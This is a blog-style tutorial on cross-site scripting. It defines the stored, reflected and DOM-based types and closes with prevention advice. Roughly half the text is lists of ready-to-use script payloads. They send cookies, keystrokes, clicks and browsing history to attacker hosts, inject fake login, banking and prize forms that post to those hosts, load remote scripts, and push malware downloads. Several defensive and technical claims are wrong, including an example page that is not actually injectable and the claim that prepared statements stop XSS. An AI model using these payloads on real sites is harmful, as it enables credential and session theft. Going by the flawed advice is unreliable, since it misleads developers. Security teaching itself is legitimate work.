• Home
  • A Comprehensive Guide to Cross-Site Scripting (XSS)

Cross-Site Scripting (XSS) is a type of security vulnerability that occurs when an attacker can inject malicious code into a web page viewed by other users. This malicious code can be used to steal sensitive information, such as login credentials or sensitive data, or to perform actions on behalf of the user, such as posting a malicious message or making unauthorized purchases.

In simple terms, XSS is a way for attackers to inject malicious scripts into websites that other users view, which can lead to the compromise of sensitive information or the unauthorized manipulation of data.

Here’s an example of how a cross-site scripting attack might work:

  1. An attacker finds a vulnerable web page that allows user-supplied data to be displayed on the page without proper sanitization.
  2. The attacker crafts a malicious script and injects it into the vulnerable page by entering it as a comment or through a form field.
  3. When other users visit the page, the malicious script is executed in their browser, allowing the attacker to steal sensitive information such as user credentials or to perform actions on behalf of the affected user.
  4. For example, a website has a search feature that displays search results based on user-supplied keywords. An attacker could craft a malicious script that steals the user’s cookies and sends them to a server controlled by the attacker. When other users search for something on the site, the attacker’s script is executed in their browser, and their cookies are sent to the attacker’s server.

There are third main types of Cross-Site Scripting (XSS) attacks:

  1. Stored XSS: In this attack, the malicious script is stored on the vulnerable website and served to every user who visits the affected page. Stored XSS attacks can have a widespread impact, affecting all users who visit the affected page.
  2. Reflected XSS: In this type of attack, the malicious script is not stored on the vulnerable website but is instead injected into the page by the attacker and reflected in the user’s browser. Reflected XSS attacks are typically less severe than stored XSS attacks, as they only affect the user who the attacker specifically targeted.
  3. DOM-based XSS: This type of XSS attack occurs when a vulnerability exists in client-side code, such as JavaScript, rather than in the server-side code that generates the page. In DOM-based XSS attacks, the browser executes the malicious script rather than the server.

Regardless of the type of XSS attack, the goal is always to inject malicious scripts into a web page viewed by other users to steal sensitive information or to perform actions on behalf of the affected user. To prevent XSS attacks, it’s important to sanitize user-supplied data and validate user input properly.

Stored Cross-Site Scripting (Stored XSS)

Stored XSS, also known as Persistent XSS, is a type of Cross-Site Scripting (XSS) attack where the malicious script is stored on the vulnerable website and served to every user who visits the affected page. Stored XSS attacks can have a widespread impact, affecting all users who visit the affected page.

Here’s an example of a stored XSS attack:

  1. An attacker finds a vulnerable website that allows users to post comments or create profiles without properly sanitizing user-supplied data.
  2. The attacker creates a comment or profile with a malicious script, such as the following:
<script>alert("XSS");</script>

I. The malicious script is stored on the website’s database and served to all users who visit the affected page, causing the script to be executed in their browsers.

II. When other users visit the page, the attacker’s script is executed in their browsers, causing a pop-up message to appear. In a real-world scenario, the attacker’s script might steal sensitive information, such as user credentials, or perform actions on behalf of the affected user.

These are some more instances of stored XSS payloads:

  1. Redirecting to another website:
<script>window.location = "http://evil-website.com";</script>

2. Stealing sensitive information such as a user’s cookies:

<script>new Image().src = "http://evil-website.com/steal-cookies.php?" + document.cookie;</script>

3. Displaying a fake login form to steal a user’s credentials:

<script>
var html = '<form action="http://evil-website.com/steal-credentials.php" method="post">' +
'Username: <input type="text" name="username"><br>' +
'Password: <input type="password" name="password"><br>' +
'<input type="submit" value="Login">' +
'</form>';
document.write(html);
</script>

4. Displaying a fake message or pop-up:

<script>alert("You have won a prize! Please enter your credit card information below.");</script>

5. Injecting a keylogger to steal sensitive information such as a user’s passwords:

<script>
var inputs = document.getElementsByTagName("input");
for (var i = 0; i < inputs.length; i++) {
inputs[i].addEventListener("keypress", function(event) {
new Image().src = "http://evil-website.com/log-keystroke.php?" + event.key;
});
}
</script>

6. Injecting a script that creates a fake “Like” or “Follow” button to trick users into clicking on it:

<script>
var html = '<button style="background-color: green; color: white;">' +
'Like' +
'</button>';
document.write(html);
</script>

7. Injecting a script that opens multiple pop-up windows to overwhelm the user:

<script>
for (var i = 0; i < 100; i++) {
window.open("http://evil-website.com");
}
</script>

8. Injecting a script that creates a fake “Update Available” notification to trick users into downloading malware:

<script>
var html = '<div style="background-color: yellow; padding: 10px;">' +
'Update Available' +
'</div>';
document.write(html);
</script>

9. Injecting a script that tracks a user’s mouse movements and clicks, allowing an attacker to record their activities on the website:

<script>
document.addEventListener("mousemove", function(event) {
new Image().src = "http://evil-website.com/log-mouse-movement.php?" + event.clientX + "," + event.clientY;
});
document.addEventListener("click", function(event) {
new Image().src = "http://evil-website.com/log-click.php?" + event.clientX + "," + event.clientY;
});
</script>

10. Injecting a script that creates a fake “Chat” window to steal sensitive information from unsuspecting users:

<script>
var html = '<div style="background-color: lightblue; padding: 10px;">' +
'<form action="http://evil-website.com/steal-info.php" method="post">' +
'<input type="text" name="message" placeholder="Enter a message"><br>' +
'<input type="submit" value="Send">' +
'</form>' +
'</div>';
document.write(html);
</script>

11. Injecting a script that logs a user’s keystrokes and sends them to a remote server:

<script>
document.addEventListener("keypress", function(event) {
new Image().src = "http://evil-website.com/log-keystroke.php?" + event.key;
});
</script>

12. Injecting a script that records a user’s browsing history and sends it to a remote server:

<script>
setInterval(function() {
new Image().src = "http://evil-website.com/log-history.php?" + location.href;
}, 1000);
</script>

Reflected Cross-Site Scripting (Reflected XSS)

Reflected Cross-Site Scripting (Reflected XSS) is a type of XSS attack where the attacker injects malicious code into a website through user input, such as a search box or contact form. The malicious code is then reflected in the user’s browser and executed, compromising the security of the user’s session.

Here’s an example of a Reflected XSS attack:

A user visits a website that has a search form and enters the following payload as the search query:

<script>alert("Reflected XSS")</script>
  1. The website takes the user input, processes it, and returns the results, including the malicious code.
  2. The malicious code is then executed in the user’s browser, displaying an alert with the message “Reflected XSS.”

This is a simple example of a Reflected XSS attack, but in reality, attackers can use much more sophisticated payloads to steal sensitive information or perform other malicious actions.

These are some more instances of Reflected XSS payloads:

  1. Injecting a script that creates a fake “Software Update” notification to trick users into downloading malware:
<script>
var html = '<div style="background-color: yellow; padding: 10px;">' +
'Software Update Available' +
'</div>';
document.write(html);
</script>

2. Injecting a script that records a user’s browsing history and sends it to a remote server:

<script>
setInterval(function() {
new Image().src = "http://evil-website.com/log-history.php?" + location.href;
}, 1000);
</script>

3. Injecting a script that creates a fake “Sign In” form to steal user credentials:

<script>
var html = '<div style="background-color: lightgray; padding: 10px;">' +
'<form action="http://evil-website.com/steal-credentials.php" method="post">' +
'Username: <input type="text" name="username"><br>' +
'Password: <input type="password" name="password"><br>' +
'<input type="submit" value="Sign In">' +
'</form>' +
'</div>';
document.write(html);
</script>

4. Injecting a script that displays a fake “Congratulations” message to trick users into revealing sensitive information:

<script>
var html = '<div style="background-color: lightgreen; padding: 10px;">' +
'Congratulations! You have won a prize.' +
'Please enter your name and address below to claim your prize:' +
'<form action="http://evil-website.com/steal-info.php" method="post">' +
'Name: <input type="text" name="name"><br>' +
'Address: <input type="text" name="address"><br>' +
'<input type="submit" value="Submit">' +
'</form>' +
'</div>';
document.write(html);
</script>

5. Injecting a script that displays a fake “Error” message to trick users into entering sensitive information:

<script>
var html = '<div style="background-color: red; padding: 10px;">' +
'Error: Your account has been suspended.' +
'Please enter your username and password below to reactivate your account:' +
'<form action="http://evil-website.com/steal-info.php" method="post">' +
'Username: <input type="text" name="username"><br>' +
'Password: <input type="password" name="password"><br>' +
'<input type="submit" value="Submit">' +
'</form>' +
'</div>';
document.write(html);
</script>

6. Injecting a script that opens a fake “Terms and Conditions” page to trick users into accepting malware:

<script>
window.location = "http://evil-website.com/malware.html";
</script>

7. Injecting a script that populates a search field with malicious data:

<script>
document.forms[0].q.value = "malicious data";
</script>

8. Injecting a script that displays a fake “Update Required” message to trick users into downloading malware:

<script>
var html = '<div style="background-color: yellow; padding: 10px;">' +
'Update Required: A critical update is required to continue using this website.' +
'Please click the link below to download the update:' +
'<a href="http://evil-website.com/malware.exe">Download Update</a>' +
'</div>';
document.write(html);
</script>

9. Injecting a script that displays a fake “System Error” message to trick users into revealing sensitive information:

<script>
var html = '<div style="background-color: red; padding: 10px;">' +
'System Error: Your session has expired.' +
'Please enter your username and password below to continue:' +
'<form action="http://evil-website.com/steal-info.php" method="post">' +
'Username: <input type="text" name="username"><br>' +
'Password: <input type="password" name="password"><br>' +
'<input type="submit" value="Submit">' +
'</form>' +
'</div>';
document.write(html);
</script>

10. Injecting a script that displays a fake “Social Engineering” message to trick users into clicking on a malicious link:

<script>
var html = '<div style="background-color: lightblue; padding: 10px;">' +
'Social Engineering Attack: Click the link below to claim your prize:' +
'<a href="http://evil-website.com/malware.exe">Claim Prize</a>' +
'</div>';
document.write(html);
</script>

11. Injecting a script that displays a fake “Phishing” message to trick users into revealing sensitive information:

<script>
var html = '<div style="background-color: lightgreen; padding: 10px;">' +
'Phishing Attack: Please enter your bank account information below:' +
'<form action="http://evil-website.com/steal-info.php" method="post">' +
'Account Number: <input type="text" name="account"><br>' +
'Routing Number: <input type="text" name="routing"><br>' +
'Password: <input type="password" name="password"><br>' +
'<input type="submit" value="Submit">' +
'</form>' +
'</div>';
document.write(html);
</script>

Document Object Model-based Cross-Site Scripting (DOM-based XSS)

DOM-based XSS (Document Object Model-based Cross-Site Scripting) is a type of XSS attack where the payload is executed as a result of modifying the Document Object Model (DOM) environment in the victim’s browser. Unlike Reflected XSS and Stored XSS, which involve injecting malicious payloads into web pages through user input, DOM-based XSS involves modifying the behavior of a web page through JavaScript code after the browser has loaded the page.

Here’s an example of a DOM-based XSS attack:

<html>
<head>
<script>
function showMessage(message) {
alert(message);
}
</script>
</head>
<body>
<button onclick="showMessage(location.hash.substr(1))">Show Message</button>
</body>
</html>

In this example, the showMessage() function takes a message as an argument and displays it in an alert box. The payload is passed to the function through the location, and the Hash property is part of the URL that comes after the “#” symbol. To trigger the DOM-based XSS attack, an attacker could craft a URL that includes a malicious payload in the hash:

http://example.com/#<script>alert('XSS Attack')</script>

When the user clicks the “Show Message” button, the browser will execute the malicious payload, displaying an alert box with the “XSS Attack.”

Here are some additional examples of DOM-based XSS payloads:

  1. This payload will display the contents of the current user’s cookie in an alert box.
<script>alert(document.cookie)</script>

2. This payload will redirect users to a malicious website and send their cookie data as a query string.

<script>location.href='http://attacker.com/steal-data.php?'+document.cookie</script>

3. This payload will modify the page’s contents to include an image tag that sends the user’s cookie data to a malicious website.

<script>document.body.innerHTML='<img src="http://attacker.com/steal-data.php?c='+document.cookie+'"/>'</script>

4. This payload creates a new image object and sets its src property to a URL that includes the user’s cookie data. This is often used to bypass CORS (Cross-Origin Resource Sharing) restrictions and send data to a malicious website.

<script>new Image().src='http://attacker.com/steal-data.php?c='+encodeURI(document.cookie)</script>

5. This payload creates an XMLHttpRequest object and sends the user’s cookie data to a malicious website.

<script>var xhr = new XMLHttpRequest(); xhr.open("GET", "http://attacker.com/steal-data.php?c=" + encodeURI(document.cookie), true); xhr.send();</script>

6. This payload creates a new script element and sets its src property to a malicious script hosted on a remote server.

<script>var s = document.createElement("script"); s.src = "http://attacker.com/evil-script.js"; document.body.appendChild(s);</script>

7. This payload uses the eval() function to execute any JavaScript code passed in the URL hash

<script>eval(location.hash.substr(1))</script>

8. This payload modifies the page to include an image tag that sends the user’s cookie data to a malicious website.

<script>document.write("<img src='http://attacker.com/steal-data.php?c=" + document.cookie + "'>")</script>

9. This payload creates a new image object and sets its src property to a URL that includes the user’s cookie data. The image is then added to the page, which sends the data to a malicious website.

<script>var i = new Image(); i.src = "http://attacker.com/steal-data.php?c=" + document.cookie; document.body.appendChild(i);</script>

10. This payload creates a new form element and sets it’s action and method properties to a URL and HTTP method controlled by the attacker. The form includes a hidden input field that contains the user’s cookie data, which is then submitted to the malicious website.

<script>var form = document.createElement("form"); form.action = "http://attacker.com/steal-data.php"; form.method = "POST"; form.innerHTML = "<input type='hidden' name='c' value='" + document.cookie + "'>"; document.body.appendChild(form); form.submit();</script>

11. This payload uses the btoa() function to encode the user’s cookie data as a base64 string, which is then included in the URL of a request to a malicious website.

<script>document.location.href = "http://attacker.com/steal-data.php?c=" + btoa(document.cookie);</script>

12. This payload creates a new script element and sets its src property to a JavaScript expression that displays an alert containing the user’s cookie data.

<script>var s = document.createElement("script"); s.src = "javascript:alert(document.cookie)"; document.body.appendChild(s);</script>

13. This payload creates a new link element and sets its href property to a JavaScript expression that displays an alert containing the user’s cookie data. The link is then added to the page, allowing the attacker to steal sensitive information when the user clicks the link.

<script>var a = document.createElement("a"); a.href = "javascript:alert(document.cookie)"; a.innerHTML = "click me"; document.body.appendChild(a);</script>

14. his payload creates a new iframe element and sets its src property to a JavaScript expression that displays an alert containing the user’s cookie data.

<script>var iframe = document.createElement("iframe"); iframe.src = "javascript:alert(document.cookie)"; document.body.appendChild(iframe);</script>

Approaches of shielding your site against Cross-Site Scripting (XSS)

Here are some common approaches for shielding your site against Cross-Site Scripting (XSS) attacks:

  1. Input Validation: Validate all user inputs before using them in your application. This can help to prevent attackers from injecting malicious code into your site.
  2. Escaping: Convert any special characters in user inputs into their HTML entity equivalents before using them in your application. This will prevent the special characters from being executed as code in the user’s browser.
  3. Use of Prepared Statements: Use prepared statements or parameterized queries when interacting with a database to prevent attackers from injecting malicious code into your SQL statements.
  4. Content Security Policy (CSP): Implement a Content Security Policy (CSP) that specifies which content sources can be executed within your web application. This can help to prevent XSS attacks by blocking malicious scripts from being executed.
  5. Web Application Firewall (WAF): Use a Web Application Firewall (WAF) to monitor and filter HTTP traffic to your web application and block requests containing malicious code.
  6. Regular Security Updates and Patches: Regularly update your software and apply security patches to address any known vulnerabilities in your web application.
  7. Security Testing: Regularly test your web application for security vulnerabilities, including XSS attacks, using automated tools or manual penetration testing.

Presenting Cross-Site Scripting Prevention in Layman’s Terms (XSS)

Input validation is a common method for preventing XSS attacks by validating user input before using it in your application. The following is an example of input validation in Java and Python:

Java:

public static String cleanInput(String input) {
// remove any HTML tags
input = input.replaceAll("<.*?>", "");

// remove any special characters
input = input.replaceAll("[^a-zA-Z0-9]+", "");

return input;
}

Python:

def clean_input(input):
# remove any HTML tags
input = re.sub('<.*?>', '', input)

# remove any special characters
input = re.sub('[^a-zA-Z0-9]+', '', input)

return input

This is a basic example, and in real-world applications, you would want to validate user input using a more robust library or framework. Using specific validation methods, you would also want to validate different input types (such as email addresses, URLs, etc.).

Prepared statements are a common method for preventing XSS attacks by escaping special characters in user input before using them in your application. The following is an example of using prepared statements in Java and Python:

Java:

String query = "INSERT INTO users (username, password) VALUES (?,?)";
PreparedStatement preparedStatement = conn.prepareStatement(query);
preparedStatement.setString(1, username);
preparedStatement.setString(2, password);
preparedStatement.executeUpdate();

Python:

query = "INSERT INTO users (username, password) VALUES (%s, %s)"
cursor.execute(query, (username, password))
conn.commit()

In this example, the user input (username and password) is passed as parameters to the prepared statement. The prepared statement then escapes any special characters in the user input, preventing XSS and SQL injection attacks.

It’s important to note that prepared statements are not guaranteed against attacks. It’s still important to validate user input and stay up-to-date with the latest security best practices.

Escaping special characters is a common method for preventing XSS attacks by converting special characters in user input into their HTML entity equivalents before using them in your application. The following is an example of escaping special characters in Java and Python:

Java:

String escapedInput = StringEscapeUtils.escapeHtml4(input);

Python:

import cgi
escaped_input = cgi.escape(input)

In this example, the user input (input) is passed to the escapeHtml4 method (in Java) or the cgi.escape Function (in Python) converts any special characters in the input into their HTML entity equivalents. This prevents the special characters from being executed as code in the user’s browser.

It’s important to note that while escaping special characters can help prevent XSS attacks, it is not guaranteed against all types of attacks. It’s still important to validate user input and stay up-to-date with the latest security best practices.

Web Application Firewall (WAF) is a security tool that can prevent XSS attacks by monitoring and filtering HTTP traffic to your web application. A WAF can detect and block XSS attacks by looking for specific patterns in incoming requests, such as strings that are likely to contain malicious JavaScript code.

Many WAFs are available as standalone products and as features in other security tools, such as firewalls, intrusion detection systems, and content delivery networks. Some popular WAFs include:

  • ModSecurity
  • Barracuda WAF
  • F5 BIG-IP Application Security Manager (ASM)
  • Akamai Kona Site Defender
  • Imperva SecureSphere

To use a WAF to prevent XSS attacks, you will need to configure the WAF with the specific security rules you want to use. This typically involves defining the types of requests you want to block, such as requests containing malicious JavaScript code, and specifying what actions the WAF should take when it detects a threat, such as blocking the request, logging it, or sending an alert.

Content Security Policy (CSP) is a security feature that helps prevent Cross-Site Scripting (XSS) attacks by specifying which content sources can be executed within your web application. Here’s how you can implement CSP in your application:

  1. Define the policy: The first step is to define a policy that specifies which content sources can be executed in your web application. You can define the policy using the Content-Security-Policy HTTP header or by using a meta tag in your HTML.
  2. Specify allowed sources: You can specify which content sources can be executed in your web application. For example, you can allow scripts from your domain or trusted third-party domains. You can also specify which types of content, such as scripts or images, can be loaded from specific sources.
  3. Use strict policies: When defining your policy, it’s best to start with a strict policy and gradually relax it as necessary. For example, you may start with a policy that only allows scripts from your domain and then gradually add additional trusted third-party domains as needed.
  4. Monitor and test: After implementing CSP, it’s important to monitor your policy’s effects and test your application to ensure that it works as expected. You can use tools such as the CSP Validator or the Browser Developer Tools to help you monitor and test your policy.

Here’s an example of a simple CSP header that allows scripts and images to be loaded only from the same origin as your web application:

Content-Security-Policy: default-src 'self'; script-src 'self'; img-src 'self';

Remember that CSP is not a magic solution and may take some experimenting to work in your programme. Nonetheless, CSP can protect against XSS attacks when it is used properly.

Regular security updates and patches are an important aspect of web application security. You can reduce the risk of XSS attacks by keeping your web application up-to-date with the latest security fixes and patches.

Here are some steps to follow to ensure regular security updates and patches:

  1. Stay informed: Keep track of security advisories and alerts for the web technologies and frameworks you use in your application. This will help you to be aware of any new vulnerabilities or patches that need to be applied.
  2. Regularly update your software: Make sure to apply security updates and patches as soon as they are available. Software vendors release these updates to fix security vulnerabilities through automatic updates or manually downloading patches.
  3. Use a reputable hosting provider: Choose a reputable hosting provider that has a strong commitment to security and provides regular security updates and patches for their servers.
  4. Test the updates: Before applying security updates and patches, it’s important to test them in a test environment to ensure that they don’t cause compatibility issues or break any existing functionality.
  5. Monitor for new vulnerabilities: Even after applying security updates and patches, it’s important to continuously monitor for new vulnerabilities and apply patches as soon as they become available.

By following these steps, you can help to ensure that your web application remains secure against XSS attacks. Regular security updates and patches are an important aspect of web application security and should be a part of your ongoing security strategy.

Security testing is an important aspect of overall web application security. Security testing helps you to identify and fix vulnerabilities in your web application before attackers can exploit them.

Here are some steps to follow to ensure security testing:

  1. Conduct regular security scans: Regular security scans of your web application can help you identify potential vulnerabilities, including XSS. There are several commercial and open-source security scanning tools available that can be used to automate the process.
  2. Perform penetration testing: Penetration testing is a simulated attack on your web application to identify vulnerabilities. A professional security testing company can conduct a penetration test for you or use an open-source tool like OWASP ZAP to perform the test yourself.
  3. Manually test your application: Testing your web application can help you identify vulnerabilities that automated security scans may not detect. This can include testing for XSS by attempting to inject malicious payloads into your web application.
  4. Test during development: It is much easier and cost-effective to find and fix vulnerabilities during the development process rather than after the application has been deployed. Incorporate security testing into your development process to ensure vulnerabilities are found and fixed early.
  5. Regularly review your security testing results: Regularly reviewing your security testing results can help you track progress and identify areas that need improvement. This can help you to continually improve your overall security posture and reduce the risk of XSS attacks.

By incorporating security testing into your overall security strategy, you can help to prevent XSS attacks and ensure the security of your web application.

Author: Muhammad Talha Waseem

Leave Comment